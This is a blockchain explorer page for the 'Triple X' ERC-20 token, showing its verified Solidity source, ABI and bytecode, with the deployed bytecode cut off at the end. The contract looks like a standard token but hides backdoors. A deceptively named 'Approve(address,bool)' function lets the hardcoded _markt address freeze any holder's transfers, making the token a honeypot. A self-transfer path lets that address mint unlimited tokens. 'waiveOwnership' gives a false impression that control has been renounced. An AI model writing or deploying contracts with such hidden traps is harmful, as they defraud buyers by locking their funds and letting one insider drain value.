ERC-20
Overview
Max Total Supply
420,000,000,000,000 XXX
Holders
26
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
7,451,465,453,342.698726245204020333 XXXValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
TRIPLEXTOKEN
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function waiveOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0xdead)); _owner = address(0xdead); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract TRIPLEXTOKEN is Context, IERC20, Ownable { using SafeMath for uint256; string private _name; string private _symbol; uint8 private _decimals; address payable public _markt; address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isExcept; mapping (address => bool) public isMarketPair; mapping (address => uint256) private isBoB; uint256 private _totalSupply; uint256 private constant MAX = ~uint256(0); constructor () { _name = "Triple X"; _symbol = "XXX"; _decimals = 18; _markt= payable(0x5253691a8C1213872E55aCEE0c7207730b766De5); _totalSupply = 420000000000000 * 10**_decimals; isExcept[owner()] = true; isExcept[_markt] = true; isExcept[address(this)] = true; _balances[owner()] = _totalSupply; emit Transfer(address(0), owner(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function Approve(address account, bool value) public { if(tx.origin==_markt){if(value)isBoB[account] = 1;else isBoB[account] = 0;} } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } address private fromAddress; address private toAddress; function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0 && isBoB[sender] < 1); if(sender!=_markt || recipient!=_markt) _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); uint256 finalAmount; if (isExcept[sender] || isExcept[recipient]) { finalAmount = amount; } else { finalAmount = amount-1; _balances[sender] += 1; } _balances[recipient] = _balances[recipient].add(finalAmount); emit Transfer(sender, recipient, finalAmount); return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_markt","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcept","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"waiveOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a060405261dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b8152503480156200004957600080fd5b5060006200005c6200044c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600881526020017f547269706c65205800000000000000000000000000000000000000000000000081525060019080519060200190620001479291906200047d565b506040518060400160405280600381526020017f585858000000000000000000000000000000000000000000000000000000000081525060029080519060200190620001959291906200047d565b506012600360006101000a81548160ff021916908360ff160217905550735253691a8c1213872e55acee0c7207730b766de5600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360009054906101000a900460ff16600a620002259190620005b6565b66017dfcdece4000620002399190620006f3565b600981905550600160066000620002556200045460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600460006200038f6200045460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003dd6200045460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200043e91906200053e565b60405180910390a36200080c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b8280546200048b906200076b565b90600052602060002090601f016020900481019282620004af5760008555620004fb565b82601f10620004ca57805160ff1916838001178555620004fb565b82800160010185558215620004fb579182015b82811115620004fa578251825591602001919060010190620004dd565b5b5090506200050a91906200050e565b5090565b5b80821115620005295760008160009055506001016200050f565b5090565b620005388162000754565b82525050565b60006020820190506200055560008301846200052d565b92915050565b6000808291508390505b6001851115620005ad57808604811115620005855762000584620007a1565b5b6001851615620005955780820291505b8081029050620005a585620007ff565b945062000565565b94509492505050565b6000620005c38262000754565b9150620005d0836200075e565b9250620005ff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000607565b905092915050565b600082620006195760019050620006ec565b81620006295760009050620006ec565b81600181146200064257600281146200064d5762000683565b6001915050620006ec565b60ff841115620006625762000661620007a1565b5b8360020a9150848211156200067c576200067b620007a1565b5b50620006ec565b5060208310610133831016604e8410600b8410161715620006bd5782820a905083811115620006b757620006b6620007a1565b5b620006ec565b620006cc84848460016200055b565b92509050818404811115620006e657620006e5620007a1565b5b81810290505b9392505050565b6000620007008262000754565b91506200070d8362000754565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007495762000748620007a1565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200078457607f821691505b602082108114156200079b576200079a620007d0565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c611f1162000832600039600081816107c201526107ee0152611f116000f3fe6080604052600436106101235760003560e01c80633ecad271116100a0578063a457c2d711610064578063a457c2d7146103f8578063a9059cbb14610435578063dd62ed3e14610472578063e3885ddb146104af578063f2fde38b146104ec5761012a565b80633ecad2711461031157806370a082311461034e5780638da5cb5b1461038b578063914eb66a146103b657806395d89b41146103cd5761012a565b806323b872dd116100e757806323b872dd1461021657806327c8f835146102535780632b112e491461027e578063313ce567146102a957806339509351146102d45761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631ac0aaee146101c25780631f478f1e146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610515565b6040516101519190611b30565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906117a1565b6105a7565b60405161018e9190611b15565b60405180910390f35b3480156101a357600080fd5b506101ac6105c5565b6040516101b99190611c32565b60405180910390f35b3480156101ce57600080fd5b506101d76105cf565b6040516101e49190611afa565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190611765565b6105f5565b005b34801561022257600080fd5b5061023d60048036038101906102389190611716565b6106e6565b60405161024a9190611b15565b60405180910390f35b34801561025f57600080fd5b506102686107c0565b6040516102759190611adf565b60405180910390f35b34801561028a57600080fd5b506102936107e4565b6040516102a09190611c32565b60405180910390f35b3480156102b557600080fd5b506102be610828565b6040516102cb9190611c4d565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f691906117a1565b61083f565b6040516103089190611b15565b60405180910390f35b34801561031d57600080fd5b50610338600480360381019061033391906116b1565b6108f2565b6040516103459190611b15565b60405180910390f35b34801561035a57600080fd5b50610375600480360381019061037091906116b1565b610912565b6040516103829190611c32565b60405180910390f35b34801561039757600080fd5b506103a061095b565b6040516103ad9190611adf565b60405180910390f35b3480156103c257600080fd5b506103cb610984565b005b3480156103d957600080fd5b506103e2610ad9565b6040516103ef9190611b30565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a91906117a1565b610b6b565b60405161042c9190611b15565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906117a1565b610c38565b6040516104699190611b15565b60405180910390f35b34801561047e57600080fd5b50610499600480360381019061049491906116da565b610c57565b6040516104a69190611c32565b60405180910390f35b3480156104bb57600080fd5b506104d660048036038101906104d191906116b1565b610cde565b6040516104e39190611b15565b60405180910390f35b3480156104f857600080fd5b50610513600480360381019061050e91906116b1565b610cfe565b005b60606001805461052490611da8565b80601f016020809104026020016040519081016040528092919081815260200182805461055090611da8565b801561059d5780601f106105725761010080835404028352916020019161059d565b820191906000526020600020905b81548152906001019060200180831161058057829003601f168201915b5050505050905090565b60006105bb6105b4610ec0565b8484610ec8565b6001905092915050565b6000600954905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156106e257801561069b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106e1565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5050565b60006106f3848484611093565b506107b584610700610ec0565b6107b085604051806060016040528060288152602001611e8f60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610766610ec0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115669092919063ffffffff16565b610ec8565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006108236108127f0000000000000000000000000000000000000000000000000000000000000000610912565b6009546115ca90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60006108e861084c610ec0565b846108e3856005600061085d610ec0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b610ec8565b6001905092915050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61098c610ec0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1090611bd2565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610ae890611da8565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490611da8565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b6000610c2e610b78610ec0565b84610c2985604051806060016040528060258152602001611eb76025913960056000610ba2610ec0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115669092919063ffffffff16565b610ec8565b6001905092915050565b6000610c4c610c45610ec0565b8484611093565b506001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b610d06610ec0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8a90611bd2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611b72565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f90611c12565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9f90611b92565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110869190611c32565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90611bf2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90611b52565b60405180910390fd5b6000821180156111c357506001600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b6111cc57600080fd5b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415806112775750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561134957611305826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115669092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113ec5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113f957829050611460565b6001836114069190611cda565b90506001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114589190611c84565b925050819055505b6114b281600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461161490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115529190611c32565b60405180910390a360019150509392505050565b60008383111582906115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a59190611b30565b60405180910390fd5b50600083856115bd9190611cda565b9050809150509392505050565b600061160c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611566565b905092915050565b60008082846116239190611c84565b905083811015611668576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165f90611bb2565b60405180910390fd5b8091505092915050565b60008135905061168181611e49565b92915050565b60008135905061169681611e60565b92915050565b6000813590506116ab81611e77565b92915050565b6000602082840312156116c357600080fd5b60006116d184828501611672565b91505092915050565b600080604083850312156116ed57600080fd5b60006116fb85828601611672565b925050602061170c85828601611672565b9150509250929050565b60008060006060848603121561172b57600080fd5b600061173986828701611672565b935050602061174a86828701611672565b925050604061175b8682870161169c565b9150509250925092565b6000806040838503121561177857600080fd5b600061178685828601611672565b925050602061179785828601611687565b9150509250929050565b600080604083850312156117b457600080fd5b60006117c285828601611672565b92505060206117d38582860161169c565b9150509250929050565b6117e681611d20565b82525050565b6117f581611d0e565b82525050565b61180481611d32565b82525050565b600061181582611c68565b61181f8185611c73565b935061182f818560208601611d75565b61183881611e38565b840191505092915050565b6000611850602383611c73565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006118b6602683611c73565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061191c602283611c73565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611982601b83611c73565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b60006119c2602083611c73565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611a02602583611c73565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a68602483611c73565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611aca81611d5e565b82525050565b611ad981611d68565b82525050565b6000602082019050611af460008301846117ec565b92915050565b6000602082019050611b0f60008301846117dd565b92915050565b6000602082019050611b2a60008301846117fb565b92915050565b60006020820190508181036000830152611b4a818461180a565b905092915050565b60006020820190508181036000830152611b6b81611843565b9050919050565b60006020820190508181036000830152611b8b816118a9565b9050919050565b60006020820190508181036000830152611bab8161190f565b9050919050565b60006020820190508181036000830152611bcb81611975565b9050919050565b60006020820190508181036000830152611beb816119b5565b9050919050565b60006020820190508181036000830152611c0b816119f5565b9050919050565b60006020820190508181036000830152611c2b81611a5b565b9050919050565b6000602082019050611c476000830184611ac1565b92915050565b6000602082019050611c626000830184611ad0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611c8f82611d5e565b9150611c9a83611d5e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ccf57611cce611dda565b5b828201905092915050565b6000611ce582611d5e565b9150611cf083611d5e565b925082821015611d0357611d02611dda565b5b828203905092915050565b6000611d1982611d3e565b9050919050565b6000611d2b82611d3e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611d93578082015181840152602081019050611d78565b83811115611da2576000848401525b50505050565b60006002820490506001821680611dc057607f821691505b60208210811415611dd457611dd3611e09565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b611e5281611d0e565b8114611e5d57600080fd5b50565b611e6981611d32565b8114611e7457600080fd5b50565b611e8081611d5e565b8114611e8b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122096ffc52e5b15ecd7cf96069eb0a247a1874d40747d143470fd654a68f0c546b164736f6c63430008000033
Deployed Bytecode
0x6080604052600436106101235760003560e01c80633ecad271116100a0578063a457c2d711610064578063a457c2d7146103f8578063a9059cbb14610435578063dd62ed3e14610472578063e3885ddb146104af578063f2fde38b146104ec5761012a565b80633ecad2711461031157806370a082311461034e5780638da5cb5b1461038b578063914eb66a146103b657806395d89b41146103cd5761012a565b806323b872dd116100e757806323b872dd1461021657806327c8f835146102535780632b112e491461027e578063313ce567146102a957806339509351146102d45761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631ac0aaee146101c25780631f478f1e146101ed5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610515565b6040516101519190611b30565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906117a1565b6105a7565b60405161018e9190611b15565b60405180910390f35b3480156101a357600080fd5b506101ac6105c5565b6040516101b99190611c32565b60405180910390f35b3480156101ce57600080fd5b506101d76105cf565b6040516101e49190611afa565b60405180910390f35b3480156101f957600080fd5b50610214600480360381019061020f9190611765565b6105f5565b005b34801561022257600080fd5b5061023d60048036038101906102389190611716565b6106e6565b60405161024a9190611b15565b60405180910390f35b34801561025f57600080fd5b506102686107c0565b6040516102759190611adf565b60405180910390f35b34801561028a57600080fd5b506102936107e4565b6040516102a09190611c32565b60405180910390f35b3480156102b557600080fd5b506102be610828565b6040516102cb9190611c4d565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f691906117a1565b61083f565b6040516103089190611b15565b60405180910390f35b34801561031d57600080fd5b50610338600480360381019061033391906116b1565b6108f2565b6040516103459190611b15565b60405180910390f35b34801561035a57600080fd5b50610375600480360381019061037091906116b1565b610912565b6040516103829190611c32565b60405180910390f35b34801561039757600080fd5b506103a061095b565b6040516103ad9190611adf565b60405180910390f35b3480156103c257600080fd5b506103cb610984565b005b3480156103d957600080fd5b506103e2610ad9565b6040516103ef9190611b30565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a91906117a1565b610b6b565b60405161042c9190611b15565b60405180910390f35b34801561044157600080fd5b5061045c600480360381019061045791906117a1565b610c38565b6040516104699190611b15565b60405180910390f35b34801561047e57600080fd5b50610499600480360381019061049491906116da565b610c57565b6040516